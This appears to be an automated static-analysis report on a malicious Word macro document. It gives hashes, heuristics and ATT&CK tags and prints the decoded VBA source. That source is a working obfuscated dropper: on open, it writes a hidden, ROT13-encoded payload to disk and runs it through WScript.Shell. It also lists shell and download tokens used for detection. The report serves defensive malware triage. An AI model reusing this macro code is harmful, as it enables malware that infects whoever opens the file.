Malicious Office (OOXML) / .DOC — malware analysis report

Static analysis result for SHA-256 66df102cb531ff81…

MALICIOUS

Office (OOXML) / .DOC

76.7 KB Created: 2021-03-17 05:38:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-04-01
MD5: b168fea20bf73a871beafe71ac560b02 SHA-1: f128480f662454198bc8d743eca3893359970a35 SHA-256: 66df102cb531ff8125751bfc0c8ab679a936270f17446607024b4d003a305452
172 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample is a malicious OOXML document containing VBA macros. The 'autoopen' subroutine triggers the execution of a command via 'CreateObject("wscript.shell").exec'. This indicates an attempt to execute arbitrary code, likely to download and run a second-stage payload. The specific command executed is not fully reconstructible due to truncation, but the use of WScript.Shell is a clear indicator of malicious intent.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    CreateObject("wscript.shell").exec a5Qyn9
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    CreateObject("wscript.shell").exec a5Qyn9
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3027 bytes
SHA-256: e26255dc45ec22579900bab17774a40d199fc6295cb58d3e71d6a68fd19b3d77
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "myfrm1"
Attribute VB_Base = "0{0DCDD0C0-B971-4FC1-AB05-4CF0F269B2E0}{573322FB-7F52-4EFE-975F-CB5CF8153C7A}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "aAZse"
Function abrEc(text)
Const kLowerCaseStart = 97
Const kAlphabetRange = 26
Const kUpperCaseStart = 65
Const kRotRange = kAlphabetRange / 2
Dim baseOffset As Long
Dim result As String
If Len(text) > 64 Then
For i = 1 To Len(text)
baseOffset = 0
c = Mid(text, i, 1)
cc = Asc(c)
If cc >= kLowerCaseStart And cc < (kLowerCaseStart + kAlphabetRange) Then
baseOffset = kLowerCaseStart
ElseIf cc >= kUpperCaseStart And cc < (kUpperCaseStart + kAlphabetRange) Then
baseOffset = kUpperCaseStart
End If
If baseOffset > 0 Then
theRot13Code = (((cc - baseOffset) + kRotRange) Mod kAlphabetRange) + baseOffset
result = result + Chr(theRot13Code)
Else
result = result + c
End If
Next
End If
abrEc = result
End Function
Sub autoopen()
aFCsjJ
End Sub

Attribute VB_Name = "ayd1m3"
Function aY3iE(a5Qyn9)
CreateObject("wscript.shell").exec a5Qyn9
End Function

Attribute VB_Name = "apTvoV"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function aX7zB()
End Function

Attribute VB_Name = "aRoCDw"
Sub auRvs(aW8vJ, aLS5jm)
Set au45R = CreateObject("Scripting.FileSystemObject")
Set as1fEA = au45R.CreateTextFile(aW8vJ)
as1fEA.WriteLine aLS5jm
as1fEA.Close
End Sub
Function aJ6vSh(aptqBi, aE3jWL)
If Len(aptqBi) <> 4 Then aJ6vSh = aptqBi Xor aE3jWL
End Function
Function abMkH7(aZvQ72 As Variant)
Dim aGN4Y As String
aGN4Y = ""
aZvQ72 = Split(aZvQ72, 256)
For aJUNP = 0 To UBound(aZvQ72)
aTRtB9 = a2aKX(aJ6vSh(aZvQ72(aJUNP), 11))
aGN4Y = aGN4Y & aTRtB9
Next aJUNP
abMkH7 = aGN4Y
End Function
Function a5Fqbg()
a5Fqbg = "1042564925687256123256121256100256108256121256106256102256111256106256127256106256872561062561052567825662256572563725699256127256106"
End Function
Function abcXjO()
abcXjO = "10425649256872561242569825610125611125610025612425612025687256110256115256123256103256100256121256110256121"
End Function
Function aE6Zde()
aE6Zde = abrEc(myfrm1.text1.text)
End Function
Function a2aKX(aptqBi)
a2aKX = Chr(vbNullString & aptqBi & vbNullString)
End Function
Sub aFCsjJ()
aLS5jm = aE6Zde()
aoRaV = abMkH7(a5Fqbg)
Call auRvs(aoRaV, aLS5jm)
aY3iE abMkH7(abcXjO) & " " & aoRaV
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 30208 bytes
SHA-256: cfa6a084cc567dd05ba9973f2c6d7ab386dff91e0345b42659a82d431cfc1e63
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 long base64-like blob(s).